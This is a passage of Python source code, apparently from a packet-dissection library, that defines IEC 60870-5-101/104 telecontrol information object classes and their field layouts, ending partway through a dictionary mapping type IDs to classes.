IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_BO_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    bitstring of 32 bits with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.25 (p. 89)\n    \"\"\"\n    name = 'M_BO_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TB_1\n\n    fields_desc = IEC104_IE_BSI.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TD_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, normalized value with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.26 (p. 91)\n    \"\"\"\n    name = 'M_ME_TD_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TD_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TE_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, scaled value with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.27 (p. 93)\n    \"\"\"\n    name = 'M_ME_TE_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TE_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TF_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, short floating point number with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.28 (p. 95)\n    \"\"\"\n    name = 'M_ME_TF_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TF_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_IT_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    integrated totals with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.29 (p. 97)\n    \"\"\"\n    name = 'M_IT_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TB_1\n\n    fields_desc = IEC104_IE_BCR.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TD_1(IEC104_IO_Packet):\n    \"\"\"\n    event of protection equipment with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.30 (p. 99)\n    \"\"\"\n    name = 'M_EP_TD_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TD_1\n\n    fields_desc = IEC104_IE_SEP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TE_1(IEC104_IO_Packet):\n    \"\"\"\n    packed start events of protection equipment with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.31 (p. 100)\n    \"\"\"\n    name = 'M_EP_TE_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TE_1\n\n    fields_desc = IEC104_IE_SPE.informantion_element_fields + \\\n        IEC104_IE_QDP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\\\n        informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TF_1(IEC104_IO_Packet):\n    \"\"\"\n    packed output circuit information of protection equipment with\n    time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.32 (p. 101)\n    \"\"\"\n    name = 'M_EP_TF_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TF_1\n\n    fields_desc = IEC104_IE_OCI.informantion_element_fields + \\\n        IEC104_IE_QDP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\\\n        informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_SC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    single command\n\n    EN 60870-5-101:2003, sec. 7.3.2.1 (p. 102)\n    \"\"\"\n    name = 'C_SC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_NA_1\n\n    fields_desc = IEC104_IE_SCO.informantion_element_fields\n\n\nclass IEC104_IO_C_DC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    double command\n\n    EN 60870-5-101:2003, sec. 7.3.2.2 (p. 102)\n    \"\"\"\n    name = 'C_DC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_NA_1\n\n    fields_desc = IEC104_IE_DCO.informantion_element_fields\n\n\nclass IEC104_IO_C_RC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    regulating step command\n\n    EN 60870-5-101:2003, sec. 7.3.2.3 (p. 103)\n    \"\"\"\n    name = 'C_RC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_NA_1\n\n    fields_desc = IEC104_IE_RCO.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    set-point command, normalized value\n\n    EN 60870-5-101:2003, sec. 7.3.2.4 (p. 104)\n    \"\"\"\n    name = 'C_SE_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NA_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_NB_1(IEC104_IO_Packet):\n    \"\"\"\n    set-point command, scaled value\n\n    EN 60870-5-101:2003, sec. 7.3.2.5 (p. 104)\n    \"\"\"\n    name = 'C_SE_NB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NB_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_NC_1(IEC104_IO_Packet):\n    \"\"\"\n    set-point command, short floating point number\n\n    EN 60870-5-101:2003, sec. 7.3.2.6 (p. 105)\n    \"\"\"\n    name = 'C_SE_NC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NC_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields\n\n\nclass IEC104_IO_C_BO_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    bitstring of 32 bit\n\n    EN 60870-5-101:2003, sec. 7.3.2.7 (p. 106)\n    \"\"\"\n    name = 'C_BO_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_NA_1\n\n    fields_desc = IEC104_IE_BSI.informantion_element_fields\n\n\nclass IEC104_IO_M_EI_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    end of initialization\n\n    EN 60870-5-101:2003, sec. 7.3.3.1 (p. 106)\n    \"\"\"\n    name = 'M_EI_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EI_NA_1\n\n    fields_desc = IEC104_IE_COI.informantion_element_fields\n\n\nclass IEC104_IO_C_IC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    interrogation command\n\n    EN 60870-5-101:2003, sec. 7.3.4.1 (p. 107)\n    \"\"\"\n    name = 'C_IC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_IC_NA_1\n\n    fields_desc = IEC104_IE_QOI.informantion_element_fields\n\n\nclass IEC104_IO_C_CI_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    counter interrogation command\n\n    EN 60870-5-101:2003, sec. 7.3.4.2 (p. 108)\n    \"\"\"\n    name = 'C_CI_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CI_NA_1\n\n    fields_desc = IEC104_IE_QCC.informantion_element_fields\n\n\nclass IEC104_IO_C_RD_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    read command\n\n    EN 60870-5-101:2003, sec. 7.3.4.3 (p. 108)\n    \"\"\"\n    name = 'C_RD_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RD_NA_1\n\n    # this information object contains no data\n    fields_desc = []\n\n\nclass IEC104_IO_C_CS_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    clock synchronization command\n\n    EN 60870-5-101:2003, sec. 7.3.4.4 (p. 109)\n    \"\"\"\n    name = 'C_CS_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CS_NA_1\n\n    fields_desc = IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_TS_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    test command\n\n    EN 60870-5-101:2003, sec. 7.3.4.5 (p. 110)\n    \"\"\"\n    name = 'C_TS_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_NA_1\n\n    fields_desc = IEC104_IE_FBP.informantion_element_fields\n\n\nclass IEC104_IO_C_RP_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    reset process command\n\n    EN 60870-5-101:2003, sec. 7.3.4.6 (p. 110)\n    \"\"\"\n    name = 'C_RP_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RP_NA_1\n\n    fields_desc = IEC104_IE_QRP.informantion_element_fields\n\n\nclass IEC104_IO_C_CD_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    (telegram) delay acquisition command\n\n    EN 60870-5-101:2003, sec. 7.3.4.7 (p. 111)\n    \"\"\"\n    name = 'C_CD_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CD_NA_1\n\n    fields_desc = IEC104_IE_CP16TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_P_ME_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    parameter of measured values, normalized value\n\n    EN 60870-5-101:2003, sec. 7.3.5.1 (p. 112)\n    \"\"\"\n    name = 'P_ME_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NA_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QPM.informantion_element_fields\n\n\nclass IEC104_IO_P_ME_NB_1(IEC104_IO_Packet):\n    \"\"\"\n    parameter of measured values, scaled value\n\n    EN 60870-5-101:2003, sec. 7.3.5.2 (p. 113)\n    \"\"\"\n    name = 'P_ME_NB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NB_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QPM.informantion_element_fields\n\n\nclass IEC104_IO_P_ME_NC_1(IEC104_IO_Packet):\n    \"\"\"\n    parameter of measured values, short floating point number\n\n    EN 60870-5-101:2003, sec. 7.3.5.3 (p. 114)\n    \"\"\"\n    name = 'P_ME_NC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_ME_NC_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QPM.informantion_element_fields\n\n\nclass IEC104_IO_P_AC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    parameter activation\n\n    EN 60870-5-101:2003, sec. 7.3.5.4 (p. 115)\n    \"\"\"\n    name = 'P_AC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_P_AC_NA_1\n\n    fields_desc = IEC104_IE_QPA.informantion_element_fields\n\n\nclass IEC104_IO_F_FR_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    file ready\n\n    EN 60870-5-101:2003, sec. 7.3.6.1 (p. 116)\n    \"\"\"\n    name = 'F_FR_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_FR_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_LOF.informantion_element_fields + \\\n        IEC104_IE_FRQ.informantion_element_fields\n\n\nclass IEC104_IO_F_SR_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    section ready\n\n    EN 60870-5-101:2003, sec. 7.3.6.2 (p. 117)\n    \"\"\"\n    name = 'F_SR_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SR_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_NOS.informantion_element_fields + \\\n        IEC104_IE_LOF.informantion_element_fields + \\\n        IEC104_IE_SRQ.informantion_element_fields\n\n\nclass IEC104_IO_F_SC_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    call directory, select file, call file, call section\n\n    EN 60870-5-101:2003, sec. 7.3.6.3 (p. 118)\n    \"\"\"\n    name = 'F_SC_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_NOS.informantion_element_fields + \\\n        IEC104_IE_SCQ.informantion_element_fields\n\n\nclass IEC104_IO_F_LS_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    last section, last segment\n\n    EN 60870-5-101:2003, sec. 7.3.6.4 (p. 119)\n    \"\"\"\n    name = 'F_LS_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_LS_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_NOS.informantion_element_fields + \\\n        IEC104_IE_LSQ.informantion_element_fields + \\\n        IEC104_IE_CHS.informantion_element_fields\n\n\nclass IEC104_IO_F_AF_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    ack file, ack section\n\n    EN 60870-5-101:2003, sec. 7.3.6.5 (p. 119)\n    \"\"\"\n    name = 'F_AF_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_AF_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_NOS.informantion_element_fields + \\\n        IEC104_IE_AFQ.informantion_element_fields\n\n\nclass IEC104_IO_F_SG_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    file / section data octets\n\n    EN 60870-5-101:2003, sec. 7.3.6.6 (p. 120)\n    \"\"\"\n    name = 'F_SG_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SG_NA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_NOS.informantion_element_fields + [\n            BitFieldLenField('segment_length', None, 8,\n                             length_of='data'),  # repr IEC104_IE_LOS\n            XStrLenField('data', '',\n                         length_from=lambda pkt: pkt.segment_length)\n        ]\n\n\nclass IEC104_IO_F_DR_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    directory\n\n    EN 60870-5-101:2003, sec. 7.3.6.7 (p. 121)\n    \"\"\"\n    name = 'F_DR_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_DR_TA_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_LOF.informantion_element_fields + \\\n        IEC104_IE_SOF.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_SC_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    single command with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.1 (p. 37)\n    \"\"\"\n    name = 'C_SC_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_TA_1\n\n    fields_desc = IEC104_IE_SCO.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_DC_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    double command with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.2 (p. 38)\n    \"\"\"\n    name = 'C_DC_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_TA_1\n\n    fields_desc = IEC104_IE_DCO.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_RC_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    step control command with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.3 (p. 39)\n    \"\"\"\n    name = 'C_RC_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_TA_1\n\n    fields_desc = IEC104_IE_RCO.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    set point command, normed value with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.4 (p. 40)\n    \"\"\"\n    name = 'C_SE_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TA_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    set point command, scaled value with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.5 (p. 41)\n    \"\"\"\n    name = 'C_SE_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TB_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_SE_TC_1(IEC104_IO_Packet):\n    \"\"\"\n    set point command, shortened floating point value with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.6 (p. 42)\n    \"\"\"\n    name = 'C_SE_TC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_TC_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QOS.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_BO_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    bitmask 32 bit with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.7 (p. 43)\n    \"\"\"\n    name = 'C_BO_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_TA_1\n\n    fields_desc = IEC104_IE_BSI.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_C_TS_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    test command with timestamp CP56Time2a\n\n    EN 60870-5-104:2006, sec. 8.8 (p. 44)\n    \"\"\"\n    name = 'C_TS_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_TS_TA_1\n\n    fields_desc = IEC104_IE_TSC.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_F_SC_NB_1(IEC104_IO_Packet):\n    \"\"\"\n    request archive file\n\n    EN 60870-5-104:2006, sec. 8.9 (p. 45)\n    \"\"\"\n    name = 'F_SC_NB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_F_SC_NB_1\n\n    fields_desc = IEC104_IE_NOF.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A_START_TIME.\\\n        informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A_STOP_TIME.informantion_element_fields\n\n\nIEC104_IO_CLASSES = {\n    IEC104_IO_ID_M_SP_NA_1: IEC104_IO_M_SP_NA_1,\n    IEC104_IO_ID_M_SP_TA_1: IEC104_IO_M_SP_TA_1,\n    IEC104_IO_ID_M_DP_NA_1: IEC104_IO_M_DP_NA_1,\n    IEC104_IO_ID_M_DP_TA_1: IEC104_IO_M_DP_TA_1,\n    IEC104_IO_ID_M_ST_NA_1: IEC104_IO_M_ST_NA_1,\n    IEC104_IO_ID_M_ST_TA_1: IEC104_IO_M_ST_TA_1,\n    IEC104_IO_ID_M_BO_NA_1: IEC104_IO_M_BO_NA_1,\n    IEC104_IO_ID_M_BO_TA_1: IEC104_IO_M_BO_TA_1,\n    IEC104_IO_ID_M_ME_NA_1: IEC104_IO_M_ME_NA_1,\n    IEC104_IO_ID_M_ME_TA_1: IEC104_IO_M_ME_TA_1,\n    IEC104_IO_ID_M_ME_NB_1: IEC104_IO_M_ME_NB_1,\n    IEC104_IO_ID_M_ME_TB_1: IEC104_IO_M_ME_TB_1,\n    IEC104_IO_ID_M_ME_NC_1: IEC104_IO_M_ME_NC_1,\n    IEC104_IO_ID_M_ME_TC_1: IEC104_IO_M_ME_TC_1,\n    IEC104_IO_ID_M_IT_NA_1: IEC104_IO_M_IT_NA_1,\n    IEC104_IO_ID_M_IT_TA_1: IEC104_IO_M_IT_TA_1,\n    IEC104_IO_ID_M_EP_TA_1: IEC104_IO_M_EP_TA_1,\n    IEC104_IO_ID_M_EP_TB_1: IEC104_IO_M_EP_TB_1,\n    IEC104_IO_ID_M_EP_TC_1: IEC104_IO_M_EP_TC_1,\n    IEC104_IO_ID_M_PS_NA_1: IEC104_IO_M_PS_NA_1,\n    IEC104_IO_ID_M_ME_ND_1: IEC104_IO_M_ME_ND_1,\n    IEC104_IO_ID_M_SP_TB_1: IEC104_IO_M_SP_TB_1,\n    IEC104_IO_ID_M_DP_TB_1: IEC104_IO_M_DP_TB_1,\n    IEC104_IO_ID_M_ST_TB_1: IEC104_IO_M_ST_TB_1,\n    IEC104_IO_ID_M_BO_TB_1: IEC104_IO_M_BO_TB_1,\n    IEC104_IO_ID_M_ME_TD_1: IEC104_IO_M_ME_TD_1,\n    IEC104_IO_ID_M_ME_TE_1: IEC104_IO_M_ME_TE_1,\n    IEC104_IO_ID_M_ME_TF_1: IEC104_IO_M_ME_TF_1,\n    IEC104_IO_ID_M_IT_TB_1: IEC104_IO_M_IT_TB_1,\n    IEC104_IO_ID_M_EP_TD_1: IEC104_IO_M_EP_TD_1,\n    IEC104_IO_ID_M_EP_TE_1: IEC104_IO_M_EP_TE_1,\n    IEC104_IO_ID_M_EP_TF_1: IEC104_IO_M_EP_TF_1,\n    IEC104_IO_ID_C_SC_NA_1: IEC104_IO_C_SC_NA_1,\n    IEC104_IO_ID_C_DC_NA_1: IEC104_IO_C_DC_NA_1,\n    IEC104_IO_ID_C_RC_NA_1: IEC104_IO_C_RC_NA_1,\n    IEC104_IO_ID_C_SE_NA_1: IEC104_IO_C_SE_NA_1,\n    IEC104_IO_ID_C_SE_NB_1: IEC104_IO_C_SE_NB_1,\n    IEC104_IO_ID_C_SE_NC_1: IEC104_IO_C_SE_NC_1,\n    IEC104_IO_ID_C_BO_NA_1: IEC104_IO_C_BO_NA_1,\n    IEC104_IO_ID_C_SC_TA_1: IEC104_IO_C_SC_TA_1,\n    IEC104_IO_ID_C_DC_TA_1: IEC104_IO_C_DC_TA_1,\n    IEC104_IO_ID_C_RC_TA_1: IEC104_IO_C_RC_TA_1,\n    IEC104_IO_ID_C_SE_TA_1: IEC104_IO_C_SE_TA_1,\n    IEC104_IO_ID_C_SE_TB_1: IEC104_IO_C_SE_TB_1,\n    IEC104_IO_ID_C_SE_TC_1: IEC104_IO_C_SE_TC_1,\n    IEC104_IO_ID_C_BO_TA_1: IEC104_IO_C_BO_TA_1,\n    IEC104_IO_ID_M_EI_NA_1: IEC104_IO_M_EI_NA_1,\n    IEC104_IO_ID_C_IC_NA_1: IEC104_IO_C_IC_NA_1,\n    IEC104_IO_ID_C_CI_NA_1: IEC104_IO_C_CI_NA_1,\n    IEC104_IO_ID_C_RD_NA_1: IEC104_IO_C_RD_NA_1,\n    IEC104_IO_ID_C_CS_NA_1: 